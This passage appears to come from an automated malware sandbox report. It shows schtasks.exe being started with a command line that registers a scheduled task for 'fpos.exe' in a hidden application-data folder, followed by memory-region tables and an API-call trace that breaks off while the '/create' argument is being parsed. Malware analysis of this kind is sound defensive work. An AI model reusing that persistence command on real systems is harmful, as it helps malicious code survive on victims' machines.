\"'C:\\Users\\All Users\\Application Data\\fpos.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4311 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4312 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4313 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4314 start_va = 0x1e0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4315 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4316 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4317 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4318 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4319 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4320 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4321 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 4322 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4332 start_va = 0x50000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4333 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4334 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4335 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4336 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4337 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4338 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4339 start_va = 0xd0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4340 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4341 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4342 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4343 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4344 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4345 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4346 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4347 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4348 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4349 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4350 start_va = 0x260000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4351 start_va = 0x260000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4352 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4353 start_va = 0x360000 end_va = 0x388fff monitored = 0 entry_point = 0x361010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4354 start_va = 0x460000 end_va = 0x5e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4355 start_va = 0x360000 end_va = 0x388fff monitored = 0 entry_point = 0x361010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4356 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4357 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4358 start_va = 0x5f0000 end_va = 0x770fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 4359 start_va = 0x780000 end_va = 0x1b7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 4360 start_va = 0x360000 end_va = 0x371fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4361 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4362 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4363 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4364 start_va = 0x1b80000 end_va = 0x1e4efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4365 start_va = 0x380000 end_va = 0x3fcfff monitored = 0 entry_point = 0x38cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4366 start_va = 0x380000 end_va = 0x3fcfff monitored = 0 entry_point = 0x38cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4367 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4368 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4369 start_va = 0x1e50000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4370 start_va = 0x1e50000 end_va = 0x1f2efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4371 start_va = 0x1f40000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 4372 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4373 start_va = 0x1fd0000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 4374 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4375 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4376 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 4377 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4378 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4379 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4380 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4382 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 192 os_tid = 0x73c [0085.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fd20 | out: lpSystemTimeAsFileTime=0x25fd20*(dwLowDateTime=0x5bcfcbe0, dwHighDateTime=0x1d9eb0c)) [0085.306] GetCurrentProcessId () returned 0x72c [0085.306] GetCurrentThreadId () returned 0x73c [0085.306] GetTickCount () returned 0x176ab91 [0085.306] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x25fd28 | out: lpPerformanceCount=0x25fd28*=2489178956358) returned 1 [0085.307] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0085.307] __set_app_type (_Type=0x1) [0085.307] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0085.307] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0085.308] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0085.308] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0085.308] _onexit (_Func=0xff932afc) returned 0xff932afc [0085.308] _onexit (_Func=0xff932b58) returned 0xff932b58 [0085.309] _onexit (_Func=0xff932b80) returned 0xff932b80 [0085.309] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0085.309] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0085.309] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0085.309] _onexit (_Func=0xff932c20) returned 0xff932c20 [0085.309] _onexit (_Func=0xff932c48) returned 0xff932c48 [0085.310] _onexit (_Func=0xff932c70) returned 0xff932c70 [0085.310] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0085.310] WinSqmIsOptedIn () returned 0x0 [0085.311] GetProcessHeap () returned 0xd0000 [0085.311] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xe5520 [0085.311] SetLastError (dwErrCode=0x0) [0085.312] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0085.312] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0085.312] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0085.312] VerifyVersionInfoW (in: lpVersionInformation=0x25f4e0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25f4e0) returned 1 [0085.312] GetProcessHeap () returned 0xd0000 [0085.312] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xebae0 [0085.312] lstrlenW (lpString="") returned 0 [0085.312] GetProcessHeap () returned 0xd0000 [0085.312] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x2) returned 0xebb00 [0085.312] GetProcessHeap () returned 0xd0000 [0085.312] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5a10 [0085.312] GetProcessHeap () returned 0xd0000 [0085.312] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xebb20 [0085.312] GetProcessHeap () returned 0xd0000 [0085.312] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5a40 [0085.312] GetProcessHeap () returned 0xd0000 [0085.312] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5a70 [0085.312] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5aa0 [0085.313] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5ad0 [0085.313] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xebb40 [0085.313] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5b00 [0085.313] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5b30 [0085.313] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5b60 [0085.313] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5b90 [0085.313] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xebb60 [0085.313] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5bc0 [0085.313] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5bf0 [0085.313] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5c20 [0085.313] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5c50 [0085.313] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0085.313] SetLastError (dwErrCode=0x0) [0085.313] GetProcessHeap () returned 0xd0000 [0085.313] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5c80 [0085.314] GetProcessHeap () returned 0xd0000 [0085.314] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5cb0 [0085.314] GetProcessHeap () returned 0xd0000 [0085.314] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5ce0 [0085.314] GetProcessHeap () returned 0xd0000 [0085.314] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5d10 [0085.314] GetProcessHeap () returned 0xd0000 [0085.314] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5d40 [0085.314] GetProcessHeap () returned 0xd0000 [0085.314] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xebb80 [0085.314] _memicmp (_Buf1=0xebb80, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.314] GetProcessHeap () returned 0xd0000 [0085.314] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x208) returned 0xebd20 [0085.314] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xebd20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0085.314] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0085.317] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0085.317] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0085.318] GetProcessHeap () returned 0xd0000 [0085.318] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x74e) returned 0xec2f0 [0085.318] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0085.319] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0xec2f0 | out: lpData=0xec2f0) returned 1 [0085.319] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0085.319] VerQueryValueW (in: pBlock=0xec2f0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25f5c8, puLen=0x25f630 | out: lplpBuffer=0x25f5c8*=0xec68c, puLen=0x25f630) returned 1 [0085.321] _memicmp (_Buf1=0xebb80, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.322] _vsnwprintf (in: _Buffer=0xebd20, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25f5a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0085.322] VerQueryValueW (in: pBlock=0xec2f0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25f638, puLen=0x25f628 | out: lplpBuffer=0x25f638*=0xec4b8, puLen=0x25f628) returned 1 [0085.322] lstrlenW (lpString="schtasks.exe") returned 12 [0085.322] lstrlenW (lpString="schtasks.exe") returned 12 [0085.322] lstrlenW (lpString=".EXE") returned 4 [0085.322] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0085.323] lstrlenW (lpString="schtasks.exe") returned 12 [0085.323] lstrlenW (lpString=".EXE") returned 4 [0085.323] _memicmp (_Buf1=0xebb80, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.323] lstrlenW (lpString="schtasks") returned 8 [0085.323] GetProcessHeap () returned 0xd0000 [0085.323] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xe5e30 [0085.323] GetProcessHeap () returned 0xd0000 [0085.323] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecc00 [0085.323] GetProcessHeap () returned 0xd0000 [0085.324] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecc30 [0085.324] GetProcessHeap () returned 0xd0000 [0085.324] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecc60 [0085.324] GetProcessHeap () returned 0xd0000 [0085.324] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xebba0 [0085.324] _memicmp (_Buf1=0xebba0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.324] GetProcessHeap () returned 0xd0000 [0085.324] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xa0) returned 0xec120 [0085.324] GetProcessHeap () returned 0xd0000 [0085.324] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecc90 [0085.324] GetProcessHeap () returned 0xd0000 [0085.324] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xeccc0 [0085.324] GetProcessHeap () returned 0xd0000 [0085.324] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xeccf0 [0085.324] GetProcessHeap () returned 0xd0000 [0085.324] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xebbc0 [0085.324] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.324] GetProcessHeap () returned 0xd0000 [0085.324] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x200) returned 0xed3d0 [0085.324] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0085.325] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0085.325] GetProcessHeap () returned 0xd0000 [0085.325] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x30) returned 0xe7ba0 [0085.325] _vsnwprintf (in: _Buffer=0xec120, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25f5a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0085.325] GetProcessHeap () returned 0xd0000 [0085.325] GetProcessHeap () returned 0xd0000 [0085.325] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec2f0) returned 1 [0085.325] GetProcessHeap () returned 0xd0000 [0085.325] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec2f0) returned 0x74e [0085.326] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec2f0 | out: hHeap=0xd0000) returned 1 [0085.326] SetLastError (dwErrCode=0x0) [0085.326] GetThreadLocale () returned 0x409 [0085.326] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.326] lstrlenW (lpString="?") returned 1 [0085.326] GetThreadLocale () returned 0x409 [0085.326] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.326] lstrlenW (lpString="create") returned 6 [0085.326] GetThreadLocale () returned 0x409 [0085.326] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.326] lstrlenW (lpString="delete") returned 6 [0085.326] GetThreadLocale () returned 0x409 [0085.326] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.327] lstrlenW (lpString="query") returned 5 [0085.327] GetThreadLocale () returned 0x409 [0085.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.327] lstrlenW (lpString="change") returned 6 [0085.327] GetThreadLocale () returned 0x409 [0085.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.327] lstrlenW (lpString="run") returned 3 [0085.327] GetThreadLocale () returned 0x409 [0085.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.327] lstrlenW (lpString="end") returned 3 [0085.327] GetThreadLocale () returned 0x409 [0085.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.327] lstrlenW (lpString="showsid") returned 7 [0085.327] GetThreadLocale () returned 0x409 [0085.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.327] SetLastError (dwErrCode=0x0) [0085.327] SetLastError (dwErrCode=0x0) [0085.327] lstrlenW (lpString="/create") returned 7 [0085.327] lstrlenW (lpString="-/") returned 2 [0085.327] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.327] lstrlenW (lpString="?") returned 1 [0085.327] lstrlenW (lpString="?") returned 1 [0085.327] GetProcessHeap () returned 0xd0000 [0085.327] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xec1d0 [0085.327] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.327] GetProcessHeap () returned 0xd0000 [0085.327] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xa) returned 0xec2f0 [0085.328] lstrlenW (lpString="create") returned 6 [0085.328] GetProcessHeap () returned 0xd0000 [0085.328] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xec310 [0085.328] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.328] GetProcessHeap () returned 0xd0000 [0085.328] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x14) returned 0xec330 [0085.328] _vsnwprintf (in: _Buffer=0xec2f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|?|") returned 3 [0085.328] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|create|") returned 8 [0085.328] lstrlenW (lpString="|?|") returned 3 